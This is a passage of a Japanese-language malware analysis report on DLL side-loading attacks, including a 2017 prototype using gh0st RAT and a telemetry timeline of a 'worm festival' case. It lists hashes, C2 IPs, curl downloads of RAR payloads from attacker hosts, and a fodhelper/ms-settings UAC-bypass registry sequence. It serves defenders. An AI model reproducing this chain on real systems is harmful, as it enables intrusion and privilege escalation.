qutload.dat

このファイルは、free.plg と同一です。シナリオの違いに合わせてファイルパスが変更されているだけです。

vssserver.dat

このファイルは main.plg と同一です。同一の、ハードコードされたデフォルトの構成設定値が含まれています。

cfg_find_tag
mark
192.168.211.1
192.168.211.1

info.dat

このファイルは暗号化された構成ファイルです。復元はできていません。

シナリオ G: 攻撃のプロトタイプ

このシナリオは非常に初期の (2017 年です!) 事例で、最近の事例と同様に難読化され、同様のハードコードされたデフォルト構成設定を用いています。このシナリオは VT ハンティングで発見されました。

ファイル情報:

MD5        413bb0864c3933009a9cc486f07070e4
SHA-1    f5895c69c995ac8b7f01ff85df9777595fe8b35d
SHA-256 b2a332fb6e896a896f72e6bbbf6351d756f1ab6a57fbe662050ed1c18cad3e4b
Creation Time 2017-03-23 12:20:10 UTC
First Submission         2017-05-14 05:16:34 UTC

以下の実行ファイルが内蔵されています。

389058c291b536eb65ba3a65e2024eb6350ff1a5ed48c036692bf5fed4729970

内蔵の実行ファイルの特徴的な文字列:

hTTP/1.1 403 fORBIDDENRNRN<h1>403 fORBIDDEN</h1>
HtTp/1.0 200 OKRNRN
192.168.1.2

また、同様の構成データが格納されていますが、先頭のデータは異なります。

mmconfig-tag
192.168.1.33
KarSpy
KarSpy
Kar security services

コードから以下のサイドロードコンポーネントが特定されました。

%CommonProgramFiles%\Sandboxie\SbieDll.dll
%CommonProgramFiles%\Sandboxie\Sandboxie.exe
%CommonProgramFiles%\Sandboxie

悪意のある DLL は gh0st RAT の一種です。ペイロードの詳細は、現時点では不明です。

付録: 「ワーム祭り」の分析

テレメトリの観測結果から、感染プロセスを再構築しました。ここでは、最も複雑な攻撃である事例 4 (「ワーム祭り」) の感染時系列をご紹介します。この事例では、ペイロードに USB ワームが配信され、他の APT の一部が取り込まれていました。

最初のサイドローディング:

2022-06-24T03:11:11.519857Z      [ 
c:\users\public\libraries\ciscocollabhost.exe::38752 ]    === FileRead ===>
     [ c:\users\public\libraries\ciscosparklauncher.dll ]
2022-06-24T03:11:11.519857Z      [ 
c:\users\public\libraries\ciscocollabhost.exe::38752 ]    === FileRead ===>
     [ c:\users\public\2831329086.inf ]
Downloading the RAR archive
2022-06-24T04:02:58.673626Z      [ c:\windows\syswow64\curl.exe::36336 ]
    === IpConnector ===>   [ 103.253.72.116 ]
2022-06-24T04:02:58.793284Z      [ c:\windows\syswow64\curl.exe::36336 ]    
=== FileWrite ===>       [ c:\users\public\libraries\out\v1.rar ]

2 度目のサイドローディング:

2022-06-24T04:03:54.211485Z      [ c:\program files\winrar\rar.exe::39988 ]     
=== FileWrite ===>    [ c:\users\public\libraries\out\symsrv.dll ]
2022-06-24T04:03:54.243728Z      [ c:\program files\winrar\rar.exe::39988 ]     
=== FileWrite ===>    [ c:\users\public\libraries\out\symstore.exe ]
2022-06-24T04:03:54.249938Z      [ c:\program files\winrar\rar.exe::39988 ]     
=== FileWrite ===>    [ c:\users\public\libraries\out\msvcrt.dll ]
2022-06-24T04:03:54.263187Z      [ c:\program files\winrar\rar.exe::39988 ]     
=== FileRead ===>    [ c:\users\public\libraries\out\v1.rar ]

上記のスクリーンショットは、2 度目のサイドローディング攻撃が実行される様子を示しており、カスタムファイル拡張子と、その拡張子のファイルを開くカスタムコマンドを登録するためのレジストリキーが作成されています。SolarMarker と同様、常駐化のための手法だと考えられます。

2022-06-24T04:05:43.119771Z      [ 
c:\users\public\libraries\out\symstore.exe::39668 ]    === FileRead ===>
     [ c:\users\public\libraries\out\symsrv.dll ]
2022-06-24T04:05:43.159707Z      [ 
c:\users\public\libraries\out\symstore.exe::39668 ]    === RegKeyCreate ===>
     [ HKEY_USERS\S-1-5-21-1497078658-3044148255-4064547459-
1001_Classes\aaabbb32\shell\open\command ]
2022-06-24T04:05:43.160709Z      [ 
c:\users\public\libraries\out\symstore.exe::39668 ]    === RegKeySetValue 
===>       [ HKEY_USERS\S-1-5-21-1497078658-3044148255-4064547459-
1001_Classes\aaabbb32\shell\open\command ]
2022-06-24T04:05:43.161131Z      [ 
c:\users\public\libraries\out\symstore.exe::39668 ]    === RegKeyCreate ===> 
       [ HKEY_USERS\S-1-5-21-1497078658-3044148255-4064547459-1001_Classes\ms-
settings\CurVer ]
2022-06-24T04:05:43.162128Z      [ 
c:\users\public\libraries\out\symstore.exe::39668 ]    === RegKeySetValue 
===>       [ HKEY_USERS\S-1-5-21-1497078658-3044148255-4064547459-
1001_Classes\ms-settings\CurVer ]

さらに別の 3.exe が作成されます (symstore.exe -> fodhelper.exe -> 3.exe)。

2022-06-24T04:05:43.318703Z      [ 
c:\users\public\libraries\out\symstore.exe::39668 ]    === FileRead ===>
     [ c:\windows\system32\fodhelper.exe ]
2022-06-24T04:05:44.215109Z      [ c:\windows\system32\fodhelper.exe::26224 ]
      === FileRead ===>     [ c:\users\public\libraries\3.exe ]          
2022-06-24T04:05:44.240169Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === FileRead ===>       [ c:\windows\syswow64\hmpalert.dll ]
2022-06-24T04:05:44.242168Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === FileRead ===>       [ c:\windows\system32\conhost.exe ]

Fodhelper.exe は 3.exe を実行します。ただし、その前にレジストリキー HKEY_USERS\S-1-5-21-1497078658-3044148255-4064547459-1001_Classes\ms-settings\CurVer が作成されます。この手法は、2017 年に Pentestlab が紹介し、最近では Trickbot が使用したものと同様の UAC バイパス手法だと考えられます。

その後、攻撃者は 3.exe を実行し、サイドローディングシナリオのコンポーネントを削除しました。nvsmartmax.dll と nvsmartmax.dat を混同しないようにご注意ください。Cybereason は以前、中国の APT グループによって攻撃に使用されるのが報告されています

2022-06-24T04:05:44.568617Z      [ c:\users\public\libraries\3.exe::42928 ]
      === FileDelete ===>    [ c:\programdata\googleupdate\googleupdate.exe ]
2022-06-24T04:05:44.570493Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === FileDelete ===>    [ c:\programdata\googleupdate\goopdate.ja ]
2022-06-24T04:05:44.571488Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === FileDelete ===>    [ c:\programdata\googleupdate\libvlc.dll ]
2022-06-24T04:05:44.573479Z      [ c:\users\public\libraries\3.exe::42928 ]
      === FileDelete ===>    [ c:\programdata\googleupdate\loader.ja ]
2022-06-24T04:05:44.574480Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === FileDelete ===>    [ c:\programdata\googleupdate\nvsmartmax.dat ]
2022-06-24T04:05:44.576644Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === FileDelete ===>    [ c:\programdata\googleupdate\nvsmartmax.dll ]
2022-06-24T04:05:44.577473Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === FileDelete ===>    [ c:\programdata\googleupdate\time.sig ]
2022-06-24T04:05:44.580460Z      [ c:\users\public\libraries\3.exe::42928 ] 
      === RegKeySetValue ===>       [ 
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-
1-5-21-1497078658-3044148255-4064547459-1001 ]

3 度目のサイドローディングシナリオコンポーネントのダウンロード:

2022-06-24T04:08:34.208478Z      [ 
c:\users\public\libraries\ciscocollabhost.exe::38752 ]    === FileRead ===>
     [ c:\windows\syswow64\cmd.exe ]
2022-06-24T04:08:34.348517Z      [ c:\windows\syswow64\cmd.exe::38472 ]
     === FileRead ===>       [ c:\windows\syswow64\curl.exe ]
2022-06-24T04:08:34.732663Z      [ c:\windows\syswow64\curl.exe::41216 ]
    === IpConnector ===>   [ 5.252.178.162 ]
2022-06-24T04:08:35.412783Z      [ c:\windows\syswow64\curl.exe::41216 ]
    === FileWrite ===>       [ c:\users\public\libraries\out\c.rar ]

ダウンロードした RAR アーカイブの中身:

2022-06-24T04:10:14.279520Z      [ c:\program files\winrar\rar.exe::40260 ]
     === FileWrite ===>    [ c:\users\public\libraries\out\goopdate.ja ]
2022-06-24T04:10:14.299137Z      [ c:\program files\winrar\rar.exe::40260 ]
     === FileWrite ===>    [ c:\users\public\libraries\out\libvlc.dll ]
2022-06-24T04:10:14.301128Z      [ c:\program files\winrar\rar.exe::40260 ]
     === FileWrite ===>    [ c:\users\public\libraries\out\loader.ja ]
2022-06-24T04:10:14.307180Z      [ c:\program files\winrar\rar.exe::40260 ]
     === FileWrite ===>    [ c:\users\public\libraries\out\time.sig ]
2022-06-24T04:10:14.310114Z      [ c:\program files\winrar\rar.exe::40260 ]
     === FileWrite ===>    [ c:\users\public\libraries\out\googleupdate.exe ]
2022-06-24T04:10:14.322856Z      [ c:\program files\winrar\rar.exe::40260 ]
     === FileWrite ===>    [ c:\users\public\libraries\out\googleupdate.exe ]
2022-06-24T04:10:14.322856Z      [ c:\program files\winrar\rar.exe::40260 ]
     === FileRead ===>    [ c:\users\public\libraries\out\c.rar ]

3 度目のサイドローディングシナリオの実行:

2022-06-24T04:11:16.921480Z      [ 
c:\users\public\libraries\out\googleupdate.exe::41944 ]   === FileRead ===>
     [ c:\users\public\libraries\out\libvlc.dll ]
2022-06-24T04:11:16.962673Z      [ 
c:\users\public\libraries\out\googleupdate.exe::41944 ]   === FileRead ===>
     [ c:\users\public\libraries\out\loader.ja ]

サーバーへの接続:

2022-06-24T04:18:11.335261Z      [ 
c:\users\public\libraries\ciscocollabhost.exe::38752 ]    === IpConnector ===>
     [ 91.245.253[.]52 ]

攻撃者は、いくつかの異なるコマンドライン引数を使用して symstore.exe を実行しました。

         "commandLine" : 
"C:\\Users\\Public\\Libraries\\out\\symstore.exe  
C:\\Users\\Public\\Libraries\\out\\googleupdate.exe",
         "commandLine" : 
"C:\\Users\\Public\\Libraries\\out\\symstore.exe  
C:\\users\\public\\libraries\\3.exe",
         "commandLine" : 
"C:\\Users\\Public\\Libraries\\out\\symstore.exe  \"mkdir 
C:\\programdata\\googleupdate\"",

サイドロードされた DLL コンポーネント (symsrv.dll) がこれらのコマンドラインパラメータを受け取り、fodhelper.exe を用いて UAC をバイパスしながら実行していると考えられます。

これらの攻撃のセキュリティ侵害の痕跡 (IoC) は、ソフォスの GitHub リポジトリで公開する予定です。

Exit mobile version